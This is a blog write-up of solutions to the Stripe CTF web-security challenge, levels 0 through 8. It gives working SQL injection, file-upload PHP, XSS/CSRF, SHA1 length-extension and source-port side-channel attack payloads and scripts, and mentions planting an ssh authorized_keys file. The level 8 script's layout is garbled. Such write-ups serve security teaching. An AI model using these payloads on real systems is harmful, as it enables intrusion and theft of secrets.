This is just a quick overview of my solutions to the Stripe-CTF levels. I will not go over what each level was, just what the vulnerability is, an explanation of my solution, my solution, and any custom code generated for it. For additional details on the levels you can search the web, or go to the stipe-ctf.com page. Additionally if there are any questions on my methods please post a comment and Ill try and explain better.

Level 0:

Vulnerability Type: SQL injection. Vulnerable Code:

if (namespace) { 
	var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"'; 
	db.all(query, namespace, function(err, secrets) { 
		if (err) throw err; 
		renderPage(res, {namespace: namespace, secrets: secrets}); 
	}); 
} else { 
	renderPage(res, {}); 
}

Explanation: Due to the use of LIKE, and not limiting the results to only 1 return, by entering in a SQL wildcard ‘%’ we can force the application to show us everything stored in the ‘secrets’ table. Solution: https://level00-2.stripe-ctf.com/user-XXXX/?namespace=%

Level 1:

Vulnerability Type: Insecure coding practice. Vulnerable Code:

$filename = 'secret-combination.txt'; 
extract($_GET); 
if (isset($attempt)) { 
	$combination = trim(file_get_contents($filename)); 
	if ($attempt === $combination)

Explanation: Using extract($_GET) allows us to overwrite any previously set variables. Since $filename was set prior we can put in the content we want into it. I entered in /dev/null as the output of the file will always return null. This allowed me to set the attempt to null and cause the application to return true for the check. Solution: https://level01-2.stripe-ctf.com/user-XXXX/?filename=/dev/null&attempt=

Level 2:

Vulnerability Type: Unrestricted file upload Vulnerable code:

if ($_FILES["dispic"]["error"] > 0) { 
	echo "<p>Error: " . $_FILES["dispic"]["error"] . "</p>"; 
} else { 
	$dest_dir = "uploads/"; 
	$dest = $dest_dir . basename($_FILES["dispic"]["name"]); 
	$src = $_FILES["dispic"]["tmp_name"]; 
	if (move_uploaded_file($src, $dest)) { 
		$_SESSION["dispic_url"] = $dest; 
		chmod($dest, 0644); 
		echo "<p>Successfully uploaded your display picture.</p>"; 
	} 
}

Explanation: The application does not restrict the file types uploaded. This allows us to upload a custom PHP script that will get the password. Solution: uploaded a file named asdf.php that contains:

<?php $pass = file_get_contents('../password.txt'); echo $pass ?>

Then go to https://level02-2.stripe-ctf.com/user-XXXX/uploads/asdf.php

Level 3:

Vulnerability Type: SQL Injection Vulnerable code:

query = """SELECT id, password_hash, salt FROM users WHERE username = '{0}' LIMIT 1""".format(username) cursor.execute(query) res = cursor.fetchone() if not res: return "There's no such user {0}!\n".format(username) user_id, password_hash, salt = res calculated_hash = hashlib.sha256(password + salt) if calculated_hash.hexdigest() != password_hash: return "That's not the password for {0}!\n".format(username)

Explanation: Since the username input is not escaped it is possible to inject our own SQL code into the application. However, getting it to execute is only half of the problem. Since making the statement return true by entering in an OR 1=1;– is not sufficient due to the password input being pulled and compared separately we need to control the application a bit. We know that the password hash is the sha256 of the password + the salt. If we enter in a select statement that will overwrite the returned values with a known salt and hash we can fool the application into authenticating us. The other problem is the limit 1 at the end of the statement this forces the SQL statement to return only one value, so in order for us to have the execution we want we need to ensure our value is returned and not something from the actual DB. We can do this by setting our username to a nonexistent user ‘a’. We then calculate the sha256 of ‘a’+’a’ and send the ID that we want to be, the hash, and the salt to the application in a union select statement. Solution: Submit with; username=a’ union SELECT ‘3’,‘961b6dd3ede3cb8ecbaacbd68de040cd78eb2ed5889130cceb4c49268ea4d506’,‘a password=a

Level 4:

Vulnerability Type: XSS/XSRF Vulnerable code:

post '/register' do username = params[:username] password = params[:password] unless username && password die("Please specify both a username and a password.", :register) end unless username =~ /^\w+$/ die("Invalid username. Usernames must match /^\w+$/", :register) end

Explanation: Although the site filters user names it does not filter password content. So we can inject our XSS into our password. Once we have the malicious javascript there we just need to send some karma to Karma Fountain in order for our password, which contains the XSS, to be displayed to Karma Fountain. The Javascript used for the XSS needs to just make a POST request back to the server containing our username and some amount of karma to send us. Solution: Create a user asdf2 and set your password to; var http = new XMLHttpRequest();var params = “to=asdf2&amount=1”;http.open(“POST”, “https://level04-2.stripe-ctf.com/user-XXXX/transfer", true); http.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”); http.setRequestHeader(“Content-length”, params.length); http.setRequestHeader(“Connection”, “close”); http.send(params); Then submit some karma to Karma Fountain.

Level 5:

Vulnerability Type: Insecure coding Practice Vulnerable Code:

post '/*' do pingback = params[:pingback] username = params[:username] password = params[:password] pingback = "http://#{pingback}" unless pingback.include?('://') host = URI.parse(pingback).host

Explanation: This one was a little interesting. The site makes a request to a ping back host with the username and password. If it receives an authorized response it authorizes you to the site. However, we can only connect to other stripe-ctf sites, and ultimately we need to be authorized to level5 site. Since we already know we can upload content to level2, we just upload an html file containing authorized to level2 and set that as our pingback url. When w esubmit that we see that we are in fact authorized to level2. But we need level5. We can do this because the application treats GET arguments and POST arguments the same. So if we set pingback as a post value it will be passed to the application. As such if we set our pingback address to https://level5?ourlevel2url we can cause the application to show us as authenticated to first level2, and then level5. Solution: Step 1) upload a file with \authorized to level 2; Step 2) submit the form with pingback as https://level05-2.stripe-ctf.com/user-XXXX/?pingback=https://level02-2.stripe-ctf.com/user-XXXX/uploads/asdf.html

Level 6:

Vulnerability Type: XSS/XSRF Vulnerable Code:

def create_post post_body = params[:body] title = params[:title] || 'untitled' if post_body DB.safe_insert(:posts, :user => @user[:username], :title => title, :body => post_body, :time => Time.now.utc ) 'Successfully added the post!' else 'No post body given!'

Explanation: Since the application does not filter the content of the title we can inject our XSS into it. However we have to be a little careful as single quotes (‘) and double quotes (“) are not allowed. We can easily avoid that with the String.fromCharCode function. Our XSS needs to do a few things, first the page needs to render somewhat cleanly so we have to exit out of the code block we are in by wrapping our code with “}];” and “var asdf=[{” Now that we know how we can get our XSS to load up cleanly and run lets look at what we need to do. We need to make a request to user_info take the results and post it using the form on the page. My initial attempt at doing this involved slurping the CSRF token and using that to make the post, however this was unnecessary as we could use jquery to submit the form on the page. Solution: Submit with a title of;

}]; </script><script> $(document).ready(function(){ $(/#title/.source).val(/asdf/.source); $(/#content/.source).val(encodeURI(escape($.ajax( {url:String.fromCharCode(117,115,101,114,95,105,110,102,111), async: false}).responseText))); $(/#new_post/.source).submit(); })</script><script> var asdf = [{

Level 7:

Vulnerability Type: Sha1 Mac Padding Vulnerable Code:

def verify_signature(user_id, sig, raw_params): 
# get secret token for user_id 
try: 
	row = g.db.select_one('users', {'id': user_id}) except db.NotFound: raise BadSignature('no such user_id') secret = str(row['secret']) h = hashlib.sha1() h.update(secret + raw_params) print 'computed signature', h.hexdigest(), 'for body', repr(raw_params) if h.hexdigest() != sig: raise BadSignature('signature does not match') return True def parse_params(raw_params): pairs = raw_params.split('&') params = {} for pair in pairs: key, val = pair.split('=') key = urllib.unquote_plus(key) val = urllib.unquote_plus(val) params[key] = val return params

Explanation: This is the same root problem as identified here. The crux of the issue is three fold. 1) that it is possible to pad extra data onto the end of the string and based on the size of the secret key calculate a hash that will pass for it, 2) that if a value is passed twice to the application it will only process the second value, and 3) that it is possible by going to /logs/ we can view the requests of user . Since we know user 1 can order the waffle we want we need to spoof his message, set waffle=leige and have the hash match. If we do that we can get the waffle delivered. Solution: Download the sha1 padding tool from here. And use it with the data from user1’s logs, and make the modified JSON request.

./sha-padding.py 14 "count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo" ef9ed3f59b62c978168d2407327443b4b2009650 "&waffle=liege" new msg: 'count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege' new sig: c964343385ed0df6e240c79063b5237d64001c71

Code:

#!/usr/bin/env python 
import requests 
url='https://level07-2.stripe-ctf.com/user-XXXX/orders' 
body='count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege|sig:c964343385ed0df6e240c79063b5237d64001c71' 
print body resp = requests.post(url, data=body) 
print resp.text

Level 8:

Vulnerability Type: Side channel Attack Vulnerable Code:

def checkNext(self): assert(len(self.remaining_chunks) == len(self.remaining_chunk_servers)) if not self.remaining_chunk_servers: self.sendResult(True) return next_chunk_server = self.remaining_chunk_servers.pop(0) next_chunk = self.remaining_chunks.pop(0) self.log_info('Making request to chunk server %r' ' (remaining chunk servers: %r)' % (next_chunk_server, self.remaining_chunk_servers)) common.makeRequest(next_chunk_server, {'password_chunk' : next_chunk}, self.nextServerCallback, self.nextServerErrback) def nextServerCallback(self, data): parsed_data = json.loads(data) # Chunk was wrong! if not parsed_data['success']: # Defend against timing attacks remaining_time = self.expectedRemainingTime() self.log_info('Going to wait %s seconds before responding' % remaining_time) reactor.callLater(remaining_time, self.sendResult, False) return self.checkNext()

And arguably something in the Linux Kernel. Explanation: This one was probably the most fun I have had in years. The secret was a 12 digit number that is broken up into four three digit chunks. The key to this problem is that the difference in the source port used in connecting to the webhooks is dependent on if a chunk is correct or not. The program flow is as follows, a request comes in and asks if password 999888777666 is correct. The application breaks the submited password into 4 chunks. It then send chunk0 (999) to the chunk0 server. If the chunk server says it is wrong the application waits, then sends a fail to both the requesting client, and the supplied webhooks. If it is right, the application sends off the next chunk (888) to the next chunk server. Since the number of out bound requests is dependent on the correctness of the chunks, and since most operating systems are lazy and just increment the source port for outbound requests, if we monitor the source port of the requests make to the webhook we control we can determin if the chunk is valid or not. Now in application there were a few hurdels we needed to overcome. The first being that the egress firewall rules set only allowed access to stripe-ctf.com sites. This was overcome because the level2 server had ssh running on it, but required an ssh key to log in. We can accomplish this by uploading a php script that created an authorized_keys file on the level2 server, and ssh in. Now that we are local and can handle the webhooks the next hurdle of network jitter and lag comes in. So to combat this we set up a threshold. We make our request to the server if we get the expected delta in source port numbers we try again until we get enough hits to meet our threshold. If we ever see a packet with less then what we expect we know that chunk is bad and move to the next number. If we see a large delta we can chaulk it up to network jitter and just rety the number until we either get the expected delta or less. Solution: Run the custom exploit code bellow, or write an equivelent script. Custome Exploit Code: NOTE: FORMAT IS ALL MESSED UP FROM CONVERTING BLOG FORMATS, I MAY UPDATE AT SOMEPOINT

#!/usr/bin/python 
#author Morgothan <morgothan@0xdeadbeef.us> 
#Calculates the secret password stored in a "passwordDB" ( stripe ctf level 8 ) 
#side channel attack based on differences in the source port numbers of requests made to webhooks. 
import urllib2 
import socket 
import time 
import re 
import curses 
import signal 
import sys 

########### EDIT TO FIT YOUR ENVIROMENT ####### 
target="https://level08-3.stripe-ctf.com/user-XXXX/" #target URL of the primary_server 
webhook='level02-2.stripe-ctf.com' 
webhookport="33033" #needed too make sure we are listening on the right port 
webhook='"'+webhook+':'+webhookport+'"' basereq=4 #2 for prod, 4 for localhost, depending on server set up this maybe different. 
thresh=5 #number of successful hits too consider it a pass (I found 5 to be a good number) 
########### Bellow here there be Dragons! ###### 

def signal_handler(signal, frame): 
	curses.endwin() 
	print "Ctrl-C detected. Exiting Cleanly..." 
	sys.exit(0) 

def crackit( num,chunk,lastaddr): #the heavy liftinf is in here. num = chunk we are working on, chunk is the password chunks, and lastaddr is the portnumber from the last request. 
	pas=0 #used to ensure we have the correct number 
	while pas<thresh: #check to make sure its not a fluke when we hit our magic number. 
		req = urllib2.Request(target, data='{"password": "' + str(chunk[0]).zfill(3) + str(chunk[1]).zfill(3) + str(chunk[2]).zfill(3) + str(chunk[3]).zfill(3)+'", "webhooks": ['+webhook+']}') #set up the JSON request 
		while True: 
			try: 
				f = urllib2.urlopen(req) #actually make the request 
				break 
			except: 
				stdscr.addstr(1,0, "[*] Error detected to quit press ctrl-c ctrl-c\t\t\t\t") #503 errors happened some time this catches them. 
				stdscr.refresh() 
				time.sleep(.5) 
			c, addr = s.accept() #accept a connection 
			tmp = str(addr).split(',') port = tmp[1].strip(')') #get just the port number (there has to be a better way to do this c.close() diff = int(port) - int(lastaddr) #calculate the difference in source port numbers from the previous request and the current one if diff==basereq + num: #if its too small throw out the number and move on stdscr.addstr(1,0, "[-] "+str(chunk[0]).zfill(3) + str(chunk[1]).zfill(3) + str(chunk[2]).zfill(3) + str(chunk[3]).zfill(3)+ "\t\t\t\t") chunk[num]= chunk[num]-1 pas=0 elif diff==basereq + num+ 1: #if it is where we want it to be, incrememnt pas and try again to make sure it wasnt a fluke due to network jitter pas=pas+1 stdscr.addstr(1,0, "["+str(pas)+"/"+str(thresh)+"] "+str(chunk[0]).zfill(3) + str(chunk[1]).zfill(3) + str(chunk[2]).zfill(3) + str(chunk[3]).zfill(3)+ "\t\t\t\t") else: stdscr.addstr(1,0, "[?] "+str(chunk[0]).zfill(3) + str(chunk[1]).zfill(3) + str(chunk[2]).zfill(3) + str(chunk[3]).zfill(3)+ "\t\t\t\t") lastaddr=port stdscr.refresh() chunk=[999,999,999,999] #I started at 999 and worked my way down, it could easily be 000 and work your way up. win=0 s = socket.socket() #set up the network listener host = "0.0.0.0" port = int(webhookport) s.bind((host, port)) s.listen(1) stdscr=curses.initscr() #initialize the ncurses display curses.noecho() signal.signal(signal.SIGINT,signal_handler) stdscr.addstr(0,0,"Sending init packet") #send first packet, used to calculate the port differences. stdscr.refresh() req = urllib2.Request(target, data='{"password": "' + str(chunk[0]).zfill(3) + str(chunk[1]).zfill(3) + str(chunk[2]).zfill(3) + str(chunk[3]).zfill(3)+'", "webhooks": ['+webhook+']}') while True: try: f = urllib2.urlopen(req) break except: stdscr.addstr(0,0, "[*] Error detected to quit press ctrl-c ctrl-c") stdscr.refresh() time.sleep(.5) c, addr = s.accept() tmp = str(addr).split(',') lastaddr = tmp[1].strip(')') for num in range(3): #call the cracking function for chunks 0,1,and2 stdscr.addstr(0,0,"[*] Breaking Chunk " + str(num)) crackit(num,chunk,lastaddr) stdscr.addstr(num+2,0,"["+str(num)+"] " + str(chunk[num]).zfill(3)) stdscr.refresh() stdscr.addstr(0,0,"[*] Brute forcing final chunk") #there is no need to "crack" chunk4, as we will recieve a pass from the server when we get it correct, so we just brute force it. while win==0: chunk[3] = chunk[3] - 1 stdscr.addstr(1,0, "[?] "+str(chunk[0]).zfill(3) + str(chunk[1]).zfill(3) + str(chunk[2]).zfill(3) + str(chunk[3]).zfill(3)+ "\t\t\t\t") stdscr.refresh() req = urllib2.Request(target, data='{"password": "' + str(chunk[0]).zfill(3) + str(chunk[1]).zfill(3) + str(chunk[2]).zfill(3) + str(chunk[3]).zfill(3)+'", "webhooks": []}') while True: try: f = urllib2.urlopen(req) val= f.read() if val=='{"success": true}\n': stdscr.addstr(5,0, "[+] "+str(chunk[0]).zfill(3) + str(chunk[1]).zfill(3) + str(chunk[2]).zfill(3) + str(chunk[3]).zfill(3)) stdscr.addstr(6,0, "Press any key to exit.") stdscr.refresh() while 1: curses.flushinp() c=stdscr.getch() if c: break curses.endwin() print "Password: " + str(chunk[0]).zfill(3) + str(chunk[1]).zfill(3) + str(chunk[2]).zfill(3) + str(chunk[3]).zfill(3) win=1 break except: stdscr.addstr(0,0, "[*] Error detected to quit press ctrl-c ctrl-c") stdscr.refresh() time.sleep(.5)